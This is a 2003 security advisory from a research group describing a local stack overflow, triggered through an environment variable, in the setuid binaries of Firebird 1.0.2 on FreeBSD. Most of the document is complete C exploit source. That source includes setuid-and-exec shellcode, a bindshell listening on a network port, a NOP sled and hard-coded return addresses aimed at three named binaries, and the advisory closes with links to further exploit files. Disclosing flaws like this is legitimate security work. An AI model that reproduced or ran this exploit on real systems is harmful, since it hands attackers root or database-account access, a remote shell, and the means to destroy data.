-[[Dtors Security
Research]]-
-[[ www.dtors.net ]]- -[Package: Firebird_1.0.2
[FreeBSD]
-[Versions Affected: 1.0.2 < -[Website: http://firebird.sf.net -[Exploit: Local Stack Overflow -[Date: 22/03/2003 -[Author: [EMAIL PROTECTED] && [EMAIL PROTECTED] ---[BACKGROUND
Firebird is a relational database offering
many ANSI SQL-92 features
that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981. For more information on Firebird and
InterBase, see:
http://sourceforge.net/projects/firebird/
http://www.ibphoenix.com/ http://www.interbase2000.org/ http://www.interbase.com/ http://www.firebirdsql.org/ --[DESCRIPTION Firebird has 3 binarys [gds_inet_server,
gds_drop, and gds_lock_mgr],
which all use insufficent bounds checking in conjunction with getenv(), making each one succeptable to local exploitation. Firebird is by default setuid[firebird].
This exploit can lead to root/escalated
privileges, should the attacker trojan the local firebird application. --[ANALYSIS
Upon setting a large value for the
INTERBASE environment variable a buffer
can be overflowed. Links to the exploit should accompany this advisory. --[Please note that there is an exploit written for both versions of firebird. Exploiting this hole will allow the
attacker to, amongst other things,
manipulate and/or destroy the databases, and also add the option to trojan the firebird binaries. This will in effect allow for compromising of other users/root accounts. --[SYSTEMS AFFECTED:
firebird 1.0.0 [BSD/Linux] are
vulnerable.
firebird-1.0.2 [BSD/Linux] are vulnerable. --[EXPLOIT CODE /* DSR-firebird.c by [EMAIL PROTECTED]
------------------------------- Tested on: Firebird 1.0.2 FreeBSD
4.7-RELEASE
bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) ) ( ( by - [EMAIL PROTECTED] ) ) ---------------------------------------------------- Usage: ./DSR-firebird <target#>
Targets: 1. [0xbfbff75d] - gds_inet_server 2. [0xbfbff75c] - gds_lock_mgr 3. [0xbfbff75e] - gds_drop www.dtors.net
bash-2.05a$ Thanks goto eSDee && ilja for
helping me
with the gds_lock_mgr problems. #include <stdio.h> #include <stdlib.h> #include <string.h> #define LOCK "/usr/local/firebird/bin/gds_lock_mgr" #define DROP "/usr/local/firebird/bin/gds_drop" #define INET "/usr/local/firebird/bin/gds_inet_server" #define LEN 1056 char
dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0" "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; char
inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0" "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80" "\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" file://setuid[firebird] by bob "\x31\xc0\x31\xdb\x53\xb3\x06\x53" file://fork() bindshell by eSDee "\xb3\x01\x53\xb3\x02\x53\x54\xb0" "\x61\xcd\x80\x89\xc7\x31\xc0\x50" "\x50\x50\x66\x68\xb0\xef\xb7\x02" "\x66\x53\x89\xe1\x31\xdb\xb3\x10" "\x53\x51\x57\x50\xb0\x68\xcd\x80" "\x31\xdb\x39\xc3\x74\x06\x31\xc0" "\xb0\x01\xcd\x80\x31\xc0\x50\x57" "\x50\xb0\x6a\xcd\x80\x31\xc0\x31" "\xdb\x50\x89\xe1\xb3\x01\x53\x89" "\xe2\x50\x51\x52\xb3\x14\x53\x50" "\xb0\x2e\xcd\x80\x31\xc0\x50\x50" "\x57\x50\xb0\x1e\xcd\x80\x89\xc6" "\x31\xc0\x31\xdb\xb0\x02\xcd\x80" "\x39\xc3\x75\x44\x31\xc0\x57\x50" "\xb0\x06\xcd\x80\x31\xc0\x50\x56" "\x50\xb0\x5a\xcd\x80\x31\xc0\x31" "\xdb\x43\x53\x56\x50\xb0\x5a\xcd" "\x80\x31\xc0\x43\x53\x56\x50\xb0" "\x5a\xcd\x80\x31\xc0\x50\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x54\x53\x50\xb0\x3b" "\xcd\x80\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x56\x50\xb0\x06\xcd\x80" "\xeb\x9a"; char *decide(char
*string)
{ if(!(strcmp(string, "1"))) return((char *)&inetcode); if(!(strcmp(string, "2"))) return((char *)&lockcode); if(!(strcmp(string, "3"))) return((char *)&dropcode); exit(0); } int main(int argc, char
**argv)
{ unsigned long ret = 0xbfbff743; char *selectcode; char buffer[LEN]; char egg[1024]; char *ptr; int i=0; if(argc <
2)
{ printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n"); printf("( ( by - [EMAIL PROTECTED] ) )\n"); printf("----------------------------------------------------\n\n"); printf("Usage: %s <target#> \n", argv[0]); printf("Targets:\n"); printf("1. [0xbfbff743] - gds_inet_server\n"); printf("2. [0xbfbff743] - gds_lock_mgr\n"); printf("3. [0xbfbff743] - gds_drop\n"); printf("\nwww.dtors.net\n"); exit(0); } selectcode = (char *)decide(argv[1]); memset(buffer, 0x41, sizeof(buffer));
ptr = egg;
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) =
0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i]; egg[1024 - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(&buffer[1052],(char
*)&ret,4);
buffer[1056] = 0;
setenv("INTERBASE", buffer, 1);
fprintf(stdout, "Return Address: 0x%x\n",
ret);
fprintf(stdout, "Buffer Size: %d\n", LEN); fprintf(stdout, "Setuid [90]\n"); if(selectcode == (char
*)&inetcode)
{ execl(INET, INET, NULL); return 0; } if(selectcode == (char
*)&lockcode)
{ printf("\nShell is on port 45295\nExploit will hang!\n"); execl(LOCK, LOCK, NULL); return 0; } if(selectcode == (char
*)&dropcode)
{ execl(DROP, DROP, NULL); return 0; } return 0; } --[Misc
As stated earlier, Linux is also
vulnerable. The problem here
is that Linux by default sets firebird setuid root. There exist a few more problems with linux. For example some command line overflows with certain switches will allow the attacker to change the flow of execution, or it can be changed using the enviroment variable [FIREBIRD_LOCK]. This whole package should be revised before
the next release.
Firebird 1.0.0 exploit @ http://bob.dtors.net/DSR-olbird.c
Firebird 1.0.2 exploit @ http://bob.dtors.net/DSR-firebird.c --[CREDIT |